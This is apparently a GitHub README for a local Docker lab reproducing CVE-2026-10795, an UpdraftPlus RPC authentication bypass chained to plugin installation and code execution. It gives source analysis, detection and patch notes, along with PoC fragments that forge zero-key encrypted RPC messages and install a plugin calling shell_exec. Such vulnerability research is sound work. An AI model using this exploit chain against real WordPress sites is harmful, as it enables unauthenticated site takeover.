rootdirective-sec/CVE-2026-10795-Lab
GitHub: rootdirective-sec/CVE-2026-10795-Lab
该仓库提供 CVE-2026-10795(UpdraftPlus UpdraftCentral RPC 认证绕过)的本地 Docker 漏洞复现与对比实验环境,附带 PoC 脚本与源码级漏洞分析。
Stars: 0 | Forks: 0
# CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC Authentication Bypass Chained to Plugin Installation
## Executive Summary
This repository contains a local Docker lab for reproducing and validating CVE-2026-10795, an unauthenticated authentication bypass vulnerability affecting the UpdraftPlus WordPress plugin through its UpdraftCentral remote communication layer.
The vulnerable behavior exists in the UpdraftCentral RPC message handling flow. In vulnerable versions, a forged `format=1` RPC message can bypass signature verification, trigger a failed RSA decrypt path, and still reach symmetric decryption with a predictable null key/null IV behavior. This allows a crafted encrypted RPC message to be accepted and dispatched as an UpdraftCentral command.
This lab compares two UpdraftPlus versions:
| Service | UpdraftPlus version | Purpose | URL |
| --------- | ------------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.26.4 | Vulnerable comparison target | `http://127.0.0.1:8081` |
| `patched` | 1.26.5 | Patched comparison target | `http://127.0.0.1:8082` |
The demonstrated chain is:
Unauthenticated attacker
→ forged UpdraftCentral RPC request
→ format=1 signature verification bypass
→ failed RSA decrypt not rejected in vulnerable version
→ predictable zero-key/zero-IV decrypt path
→ forged JSON RPC command accepted
→ privileged UpdraftCentral command dispatch
→ plugin.upload_plugin
→ install and activate marker plugin
→ hard-coded /usr/bin/id proof endpoint
The primary vulnerability is authentication bypass. The lab demonstrates that the bypass can be chained to an RCE-style impact when a privileged UpdraftCentral key state is present, because UpdraftCentral exposes legitimate plugin management commands that can install and activate WordPress plugins.
This is not a direct command injection vulnerability. The code execution proof comes from abusing authenticated plugin installation functionality after bypassing the RPC authentication boundary.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 is vulnerable in this lab. | The vulnerable service accepts a forged `format=1` RPC message and dispatches `plugin.upload_plugin`. | Run `python3 poc/poc.py --url http://127.0.0.1:8081`. |
| UpdraftPlus 1.26.5 blocks the forged message in this lab. | The patched service returns no RPC response body and does not dispatch the forged command. | Run `python3 poc/poc.py --url http://127.0.0.1:8082`. |
| The issue is an authentication bypass in the UpdraftCentral RPC layer. | A forged unauthenticated RPC request can reach command dispatch in the vulnerable version. | Compare `--ping` behavior between ports `8081` and `8082`. |
| The lab does not pre-install the marker plugin. | The setup only installs WordPress, UpdraftPlus, and a local UpdraftCentral key state. | Check `/wp-json/cve-lab/v1/id` before running the PoC. |
| The PoC installs the marker plugin through forged RPC. | The PoC sends `plugin.upload_plugin` with a ZIP plugin payload in the RPC data field. | Run the PoC and then request `/wp-json/cve-lab/v1/id`. |
| The vulnerable target reaches RCE-style impact. | The marker plugin exposes a hard-coded endpoint that returns `/usr/bin/id` output. | The vulnerable target returns `uid=33(www-data) gid=33(www-data)`. |
| The patched target does not install the marker plugin. | The marker endpoint returns `404 rest_no_route` on the patched service. | Run the PoC against `http://127.0.0.1:8082`. |
| The lab requires an UpdraftCentral key state. | UpdraftCentral dispatch depends on a local key entry and associated metadata. | Review `scripts/setup-wordpress.sh`. |
## Assumptions and Unknowns
This lab intentionally seeds a local UpdraftCentral key state to reproduce a site condition where remote control has been configured.
The seeded key state is a lab prerequisite, not the vulnerability itself. It allows the lab to consistently exercise the vulnerable RPC parsing and decryption path.
The lab does not claim that every UpdraftPlus installation is immediately exploitable. The demonstrated chain depends on the presence of an UpdraftCentral local key entry that is associated with a privileged WordPress user.
The lab demonstrates a controlled RCE-style impact by installing a marker plugin that exposes a hard-coded `/usr/bin/id` proof endpoint. It does not provide a generic web shell, arbitrary command execution parameter, reverse shell, persistence mechanism, credential theft, or external callback.
The PoC is scoped to local targets only and refuses non-local hostnames by default.
## Root Cause Summary
The root cause is improper validation of UpdraftCentral RPC messages in vulnerable versions of UpdraftPlus.
The vulnerable RPC flow accepts a `format=1` message. The `format=1` path does not require the same signature verification as newer message formats.
The high-level issue is:
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
In vulnerable behavior, RSA decryption can return:
false
Instead of rejecting that failed decrypt result, the vulnerable flow continues and passes the value into the symmetric decryption layer.
The effective vulnerable pattern is:
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
The problem is that `$sym_key` is not validated before it is used.
When `$sym_key` is `false`, the cipher setup follows a predictable null key/null IV behavior. This makes it possible to craft an encrypted RPC payload using a known zero key and zero IV.
The patched version adds a guard before the symmetric key is used:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
This changes the trust boundary.
Before the patch:
failed RSA decrypt result could still reach symmetric decrypt
After the patch:
failed RSA decrypt result is rejected before command dispatch
This is why the vulnerable service dispatches the forged RPC command, while the patched service does not.
## Why an Authentication Bypass Can Lead to Code Execution
CVE-2026-10795 is best described as an authentication bypass because the root flaw is in the RPC authentication and message verification layer.
However, after that authentication boundary is bypassed, the attacker-controlled RPC message can reach privileged UpdraftCentral commands.
One important command path is:
plugin.upload_plugin
This command is part of UpdraftCentral’s plugin management functionality. It accepts a plugin ZIP payload, writes it to a temporary location, installs the plugin, and activates it when requested.
The impact chain is therefore:
Authentication bypass
→ forged privileged RPC command
→ plugin upload through legitimate UpdraftCentral functionality
→ plugin installation
→ plugin activation
→ WordPress plugin code execution
This is not command injection.
The lab demonstrates code execution by installing a marker plugin that exposes a single endpoint:
/wp-json/cve-lab/v1/id
The marker plugin does not accept a command parameter. It only runs:
/usr/bin/id
This keeps the proof controlled and avoids turning the lab into a general-purpose web shell.
## Source Patch Summary
The relevant patch behavior is that the patched version rejects invalid symmetric keys before attempting to decrypt the RPC message body.
The important validation is:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
This prevents the vulnerable fallback behavior where a failed RSA decrypt result can become a predictable symmetric key path.
The practical result is:
UpdraftPlus 1.26.4
→ forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5
→ failed symmetric key validation stops the forged message
→ command dispatch is not reached
The lab also validates the downstream impact by targeting the real UpdraftCentral plugin upload command path.
The relevant command behavior is:
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
The patched version blocks the forged message before this command path is reached.
## Source-Level Walkthrough
This section explains the vulnerable path at source-code level and maps each PoC step to the relevant UpdraftPlus / UpdraftCentral behavior.
The lab does not rely on a fake vulnerable application route. The vulnerable behavior is reached through the real UpdraftCentral RPC listener and the real UpdraftCentral plugin-management command path.
The important source areas are:
vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php
central/bootstrap.php
central/listener.php
central/commands.php
central/modules/plugin.php
### Listener Creation
The vulnerable RPC path starts when WordPress receives a POST request containing:
udrpc_message
format
key_name
The RPC library registers a listener on WordPress `wp_loaded` when those POST fields exist.
Conceptually, the flow is:
if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) {
add_action('wp_loaded', array($this, 'wp_loaded'));
add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000);
}
This means the attacker does not need to know a special REST endpoint or admin URL. The forged RPC request is sent as a normal POST request to the WordPress site root.
The PoC sends:
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=
The request reaches the same listener path used by legitimate UpdraftCentral remote communication.
### Key Name Matching
UpdraftCentral stores local remote-control keys in WordPress options. In this lab, the setup script seeds a controlled key state for both the vulnerable and patched targets.
The relevant key name is:
0.central.updraftplus.com
This format is produced by the UpdraftCentral key indicator logic:
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
The listener only continues if the unencrypted POST field matches the expected key indicator:
if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) {
return;
}
The PoC therefore sets:
KEY_NAME = "0.central.updraftplus.com"
This is not the vulnerability. It is a lab prerequisite that lets the test exercise the vulnerable RPC parsing and decryption path in a reproducible way.
### Format Handling and Signature Bypass
UpdraftCentral supports message formats. The important distinction is:
format=1 legacy path
format=2 signed message path
In the vulnerable code path, signature verification only happens when the format is greater than or equal to 2:
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
Because the PoC uses:
format=1
this signature verification block is skipped.
That is the authentication bypass boundary.
A legitimate `format=2` message is expected to include a valid signature. The forged `format=1` message does not need one, so the attacker-controlled message can continue to the decrypt path.
### Vulnerable Decryption Flow
After format and key-name checks, the listener decrypts the submitted `udrpc_message`.
The vulnerable decryption flow in UpdraftPlus 1.26.4 is effectively:
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
The bug is between these two operations:
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
If RSA decryption fails, `$rsa->decrypt()` can return:
false
The vulnerable version does not reject that value before passing it into:
$rij->setKey($sym_key);
The patched version fixes this by adding validation:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
This guard is the security-relevant patch. It prevents a failed RSA decrypt result from reaching the symmetric cipher setup.
### Why `false` Becomes Predictable
The vulnerable behavior is dangerous because `setKey(false)` does not safely fail in this phpseclib path.
The cipher code calculates key length from the provided key:
$this->setKeyLength(strlen($key) << 3);
$this->key = $key;
When `$key` is `false`, `strlen(false)` behaves like a zero-length key case.
The Rijndael key-length logic rounds very small key sizes up to a valid minimum key length:
case $length <= 128:
$this->key_length = 16;
break;
The cipher setup then pads the key and IV with null bytes:
$this->encryptIV = $this->decryptIV =
str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key =
str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
So the attacker can model the vulnerable decrypt behavior as:
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
This is why the PoC can encrypt a JSON RPC command locally and have the vulnerable target decrypt it successfully.
### Message Structure Used by the PoC
The vulnerable decrypt function expects the encrypted message to contain:
3 hex chars length of RSA-encrypted symmetric key, as base64 text
N chars base64 RSA-encrypted symmetric key
16 hex chars length of ciphertext, as base64 text
M chars base64 encrypted message body
The PoC builds this structure manually:
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
The RSA block is intentionally invalid:
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
On UpdraftPlus 1.26.4, that invalid RSA block causes RSA decrypt to fail, but the failure is not rejected.
On UpdraftPlus 1.26.5, the failed decrypt result is rejected by the new guard and the forged message does not reach command dispatch.
### Inner JSON RPC Message
The encrypted inner message is a normal UpdraftCentral-style JSON command.
For ping validation, the PoC uses:
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
For the default ID proof, the PoC uses:
{
"command": "plugin.upload_plugin",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456,
"data": {
"filename": "cve-2026-10795-id-marker.zip",
"data": "",
"activate": true
}
}
The `key_name` appears both outside and inside the encrypted message. The listener checks that both match:
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
That is why the PoC must include the same key name in both places.
### JSON Validation Before Dispatch
After decrypting the message, the listener parses it as JSON:
$udrpc_message = json_decode($udrpc_message, true);
The message must contain a valid command:
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
It must also contain a timestamp:
if (empty($udrpc_message['time'])) {
die;
}
The timestamp must be within the allowed replay window:
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
The PoC therefore sets the inner `time` field to the current time.
### Command Dispatch
After the message is decrypted and validated, UpdraftCentral dispatches the command.
Commands use a prefix format:
.
For example:
plugin.upload_plugin
This becomes:
prefix = plugin
method = upload_plugin
The listener resolves the command class from the prefix and then calls the method dynamically:
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
For the PoC command:
plugin.upload_plugin
the listener calls:
UpdraftCentral_Plugin_Commands::upload_plugin($data)
This is why the PoC does not need a direct command-injection sink. It reaches a legitimate privileged UpdraftCentral command after bypassing the RPC authentication boundary.
### User Context and Capability Checks
The listener can set the current WordPress user from the UpdraftCentral key metadata:
if (!empty($extra_info['user_id'])) {
wp_set_current_user($extra_info['user_id']);
}
In this lab, the seeded key has:
extra_info.user_id = 1
That simulates a configured UpdraftCentral key associated with the administrator user created during WordPress setup.
This matters because the plugin upload path checks WordPress capabilities:
if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) {
$permission_error = true;
}
So the bypass alone gets the forged command into the RPC layer. The seeded key metadata determines which WordPress user context the command runs under.
In this lab, the command runs in admin context because the key is associated with user ID 1.
### Plugin Upload Sink
The command method is:
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
The shared upload handler expects plugin upload data:
filename
data
activate
The PoC sends:
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
The upload handler writes the ZIP content to a temporary file:
$result = file_put_contents(
$upload_dir.'/'.$filename,
base64_decode($params['data']),
FILE_APPEND | LOCK_EX
);
For a non-chunked upload, installation proceeds immediately:
$install_now = true;
The handler then builds a ZIP path:
$zip_filepath = $upload_dir.'/'.$filename;
and installs it using the UpdraftCentral plugin upgrader:
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
If installation succeeds and `activate` is true, the code activates the installed plugin:
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
A successful install response contains:
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
This is the source-level reason why a forged RPC authentication bypass can be chained to WordPress plugin installation and activation.
### Marker Plugin
The marker plugin is generated by the PoC in memory. It is not pre-installed by Docker setup.
The generated ZIP contains:
cve-2026-10795-id-marker/
└── cve-2026-10795-id-marker.php
The marker plugin registers one REST route:
/wp-json/cve-lab/v1/id
The endpoint returns:
lab
plugin
proof
uid
gid
user
id_output
The only command executed by the marker plugin is hard-coded:
shell_exec('/usr/bin/id 2>&1');
There is no user-controlled `cmd` parameter.
This is intentional. The lab proves plugin-code execution while avoiding a generic web shell.
### Why the Patched Target Returns 404
The patched service receives the same forged request and has the same seeded key state.
The difference is the patched decrypt guard:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Because the PoC intentionally supplies an invalid RSA block, the decrypted symmetric key is invalid.
In UpdraftPlus 1.26.5, the forged message stops before JSON parsing and before command dispatch.
Therefore:
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
This patched behavior proves that the lab result depends on the vulnerable UpdraftPlus RPC code path, not on the Docker harness.
## PoC-to-Source Mapping
| PoC behavior | Source behavior being tested | Expected on 1.26.4 | Expected on 1.26.5 |
| ---------------------------------- | -------------------------------------------------------- | ------------------------------ | -------------------------------------------------------- |
| Send POST with `format=1` | Listener accepts legacy RPC format | Continues | Continues to patched decrypt check |
| Omit valid signature | Signature check only applies to `format >= 2` | Signature not required | Signature not required for `format=1`, but later blocked |
| Send invalid RSA block | RSA decrypt returns invalid symmetric key | Invalid key reaches `setKey()` | Invalid key rejected |
| Encrypt JSON with null key/null IV | Models phpseclib fallback behavior after `setKey(false)` | Decrypts into valid JSON | Does not decrypt |
| Set `command=ping` | Tests crypto bypass and dispatch only | `PING DISPATCHED` | `PING NOT DISPATCHED` |
| Set `command=plugin.upload_plugin` | Calls UpdraftCentral plugin upload method | Plugin ZIP installed | Command not reached |
| Set `activate=true` | Triggers `activate_plugin()` after install | Marker plugin active | Marker plugin absent |
| Request `/wp-json/cve-lab/v1/id` | Checks whether marker plugin code is running | Returns `uid=33(www-data)` | Returns `404 rest_no_route` |
## How the PoC Code Maps to the Vulnerability
The PoC starts by refusing non-local targets:
allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts:
raise ValueError("Refusing non-local target")
This keeps the script scoped to the Docker lab.
The PoC builds the inner RPC message:
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
If the default ID proof is used, the command is:
command = "plugin.upload_plugin"
and the data is:
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
The PoC then encrypts the inner JSON with the predictable vulnerable cipher state:
ZERO_KEY = b"\x00" * 16
ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
This matches the vulnerable consequence of passing `false` into the symmetric cipher setup.
The PoC intentionally uses a bad RSA block:
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
The resulting `udrpc_message` is built in the same length-prefixed format that the RPC decrypt function expects:
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Finally, the PoC sends the forged RPC request:
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
On the vulnerable target, the server response contains a valid RPC-style JSON response body. The PoC treats that as:
RPC DISPATCHED
After dispatch, the PoC verifies the impact by requesting the marker endpoint:
GET /wp-json/cve-lab/v1/id
If the marker plugin was installed and activated, the endpoint returns:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
That output proves that the forged unauthenticated RPC message reached a privileged plugin installation path and activated attacker-supplied plugin code inside the local lab.
## What the Lab Proves
This lab proves the following technical chain:
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
The lab does not prove that every installation is exploitable without prerequisites.
The required prerequisite for this demonstration is:
an existing UpdraftCentral local key state associated with a privileged WordPress user
The Docker setup creates that prerequisite in both targets so the difference between vulnerable and patched behavior can be tested fairly.
## Lab Architecture
The lab runs two isolated WordPress installations through Docker Compose.
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
The two WordPress services run separate databases and separate UpdraftPlus versions:
| Service | Component | Version / Role |
| --------------- | ----------------------- | ---------------------------------------------------------------- |
| `vuln` | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 vulnerable target |
| `patched` | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 patched target |
| `vuln_db` | MariaDB | Database for the vulnerable target |
| `patched_db` | MariaDB | Database for the patched target |
| `vuln_setup` | WP-CLI setup service | Installs WordPress, activates UpdraftPlus, seeds local key state |
| `patched_setup` | WP-CLI setup service | Installs WordPress, activates UpdraftPlus, seeds local key state |
Default exposed services:
Vulnerable target: http://127.0.0.1:8081
Patched target: http://127.0.0.1:8082
The setup process seeds the same UpdraftCentral key state into both services:
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
This gives both targets the same prerequisite state. The difference in behavior comes from the vulnerable versus patched UpdraftPlus code, not from different lab setup.
## Requirements
* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Python virtual environment support
* Internet access during Docker image build
* Python packages listed in `requirements.txt`
Python dependencies:
requests
urllib3<2
pycryptodome
The `urllib3<2` constraint avoids LibreSSL-related warnings on some macOS Python builds.
## Quick Start
Start from a clean lab state:
docker compose down -v --remove-orphans
docker compose up -d --build
Watch setup logs:
docker compose logs -f vuln_setup patched_setup
Expected setup indicators:
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.5
Setup complete for CVE-2026-10795 patched
Check running services:
docker compose ps
Create and activate a Python virtual environment:
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Run the default ID proof against the vulnerable target:
python3 poc/poc.py --url http://127.0.0.1:8081
Run the same proof against the patched target:
python3 poc/poc.py --url http://127.0.0.1:8082
The script requires the `--url` option intentionally. This forces the tester to choose the target explicitly instead of automatically attacking both services.
## PoC Usage
Default behavior:
python3 poc/poc.py --url
Example vulnerable target:
python3 poc/poc.py --url http://127.0.0.1:8081
Example patched target:
python3 poc/poc.py --url http://127.0.0.1:8082
Optional ping-only validation:
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Supported options:
| Option | Required | Purpose |
| ----------- | -------- | ------------------------------------------------------- |
| `--url` | Yes | Local lab target URL |
| `--ping` | No | Run harmless forged ping validation instead of ID proof |
| `--timeout` | No | HTTP timeout in seconds. Default: `15` |
Accepted target hosts:
127.0.0.1
localhost
::1
The PoC refuses non-local targets by default.
## How the PoC Works
The PoC runs from the host machine and sends HTTP requests to the exposed Docker services.
The default PoC action is the ID proof.
The high-level flow is:
1. Receive explicit --url target from the tester
2. Refuse non-local targets
3. Build a marker WordPress plugin ZIP in memory
4. Create a forged UpdraftCentral RPC message
5. Send command plugin.upload_plugin through format=1
6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
7. Install and activate the marker plugin
8. Request /wp-json/cve-lab/v1/id
9. Print the hard-coded /usr/bin/id output
The marker plugin is not stored in the repository as a standalone plugin file. It is generated in memory by the PoC.
The forged RPC command is:
plugin.upload_plugin
The RPC data contains:
filename = cve-2026-10795-id-marker.zip
data = base64(plugin_zip)
activate = true
The PoC encrypts the inner JSON RPC message using:
AES-CBC
key = 16 null bytes
iv = 16 null bytes
It also includes an intentionally invalid RSA-encrypted symmetric key block.
On the vulnerable version, the RSA decrypt failure is not rejected. The message continues into the predictable null-key decrypt path and the forged command is dispatched.
On the patched version, the invalid symmetric key is rejected and the forged command is not dispatched.
## Why `--ping` Exists
The `--ping` option is a debugging aid.
It validates only the crypto bypass and RPC dispatch boundary. It does not upload a plugin and does not run `/usr/bin/id`.
Use `--ping` when the default ID proof does not work and the failure needs to be isolated.
If `--ping` fails, the issue is likely before command execution:
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
If `--ping` succeeds but the ID proof fails, the issue is likely after dispatch:
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
Expected ping behavior:
1.26.4 vulnerable target → PING DISPATCHED
1.26.5 patched target → PING NOT DISPATCHED
## Expected Results
### Vulnerable Target
Command:
python3 poc/poc.py --url http://127.0.0.1:8081
Expected vulnerable signal:
CVE-2026-10795 local lab-only ID validation
Scope : localhost / Docker lab only
Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety : no generic web shell, no cmd parameter, no external targets
Key name : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target : http://127.0.0.1:8081/
Command : plugin.upload_plugin
Decision : RPC DISPATCHED
HTTP status : 200
Body bytes : non-zero
RPC JSON seen : True
Resp. format : 2
----------------------------------------------------------------------------------------
ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id
Marker active : True
HTTP status : 200
id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
========================================================================================
Interpretation:
UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
id output should be a hard-coded local proof such as uid=33(www-data).
### Patched Target
Command:
python3 poc/poc.py --url http://127.0.0.1:8082
Expected patched signal:
CVE-2026-10795 local lab-only ID validation
Scope : localhost / Docker lab only
Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety : no generic web shell, no cmd parameter, no external targets
Key name : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target : http://127.0.0.1:8082/
Command : plugin.upload_plugin
Decision : RPC NOT DISPATCHED
HTTP status : 200
Body bytes : 0
RPC JSON seen : False
Body prefix : ''
----------------------------------------------------------------------------------------
ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id
Marker active : False
HTTP status : 404
Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'
========================================================================================
Interpretation:
UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
id output should be a hard-coded local proof such as uid=33(www-data).
## Manual Verification Commands
Check service health:
docker compose ps
Inspect vulnerable service metadata:
curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
Inspect patched service metadata:
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
Check runtime plugin state:
curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
Run ping-only validation:
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Run ID proof:
python3 poc/poc.py --url http://127.0.0.1:8081
python3 poc/poc.py --url http://127.0.0.1:8082
Check marker endpoint directly after running the PoC:
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
Expected:
8081 → marker endpoint exists and returns id output
8082 → marker endpoint returns 404 rest_no_route
Check installed plugins inside the vulnerable container:
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Check installed plugins inside the patched container:
docker compose exec -T patched sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
The vulnerable service should contain the marker plugin after the PoC runs. The patched service should not.
## Impact
This lab demonstrates that an unauthenticated attacker can forge an UpdraftCentral RPC message that reaches privileged command dispatch in UpdraftPlus 1.26.4 when a suitable UpdraftCentral key state exists.
The demonstrated impact is RCE-style because the forged RPC command abuses legitimate plugin management functionality:
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
The local proof shows execution as the web server user:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The vulnerability category remains authentication bypass. The code execution result is a chained impact through privileged WordPress plugin installation.
## Detection and Monitoring
Potential indicators include unauthenticated POST requests to the WordPress front page containing UpdraftCentral RPC fields:
format
key_name
udrpc_message
signature
Suspicious characteristics:
format=1
key_name ending with .central.updraftplus.com
large udrpc_message value
unexpected unauthenticated POST requests to /
repeated RPC attempts with empty or unusual response bodies
new unexpected plugin directories under wp-content/plugins
new plugin activation events
REST routes appearing unexpectedly after a suspicious request
Local lab indicators:
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
Production monitoring ideas:
* Review web access logs for POST requests containing `udrpc_message`.
* Alert on `format=1` RPC requests from untrusted sources.
* Review UpdraftPlus and UpdraftCentral logs if available.
* Monitor unexpected plugin installation or activation events.
* Monitor filesystem changes under `wp-content/plugins`.
* Review administrator users and remote management integrations.
* Check whether UpdraftPlus is older than the fixed version.
* Remove stale or unused UpdraftCentral remote-control keys.
## Mitigation and Patch Notes
Upgrade UpdraftPlus to version 1.26.5 or later.
The patched version rejects invalid decrypted symmetric keys before symmetric decryption and command dispatch.
Recommended mitigation steps:
* Upgrade UpdraftPlus.
* Review whether UpdraftCentral remote control is enabled or has been configured.
* Remove stale UpdraftCentral keys if remote control is not needed.
* Review WordPress administrator accounts.
* Review installed plugins for unexpected additions.
* Review access logs for suspicious `udrpc_message` requests.
* Rotate credentials if compromise is suspected.
* Restore from known-good backups if unauthorized plugin installation is confirmed.
* Use a WAF rule only as a temporary layer, not as a replacement for patching.
The most important fix is to run a patched UpdraftPlus version that rejects invalid symmetric keys before decryption and dispatch.
## Cleanup
Stop containers and remove networks:
docker compose down --remove-orphans
Remove containers, networks, and volumes:
docker compose down -v --remove-orphans
Remove Python virtual environment:
rm -rf venv
Remove local evidence files if created:
rm -rf evidence/
## Safety Boundaries
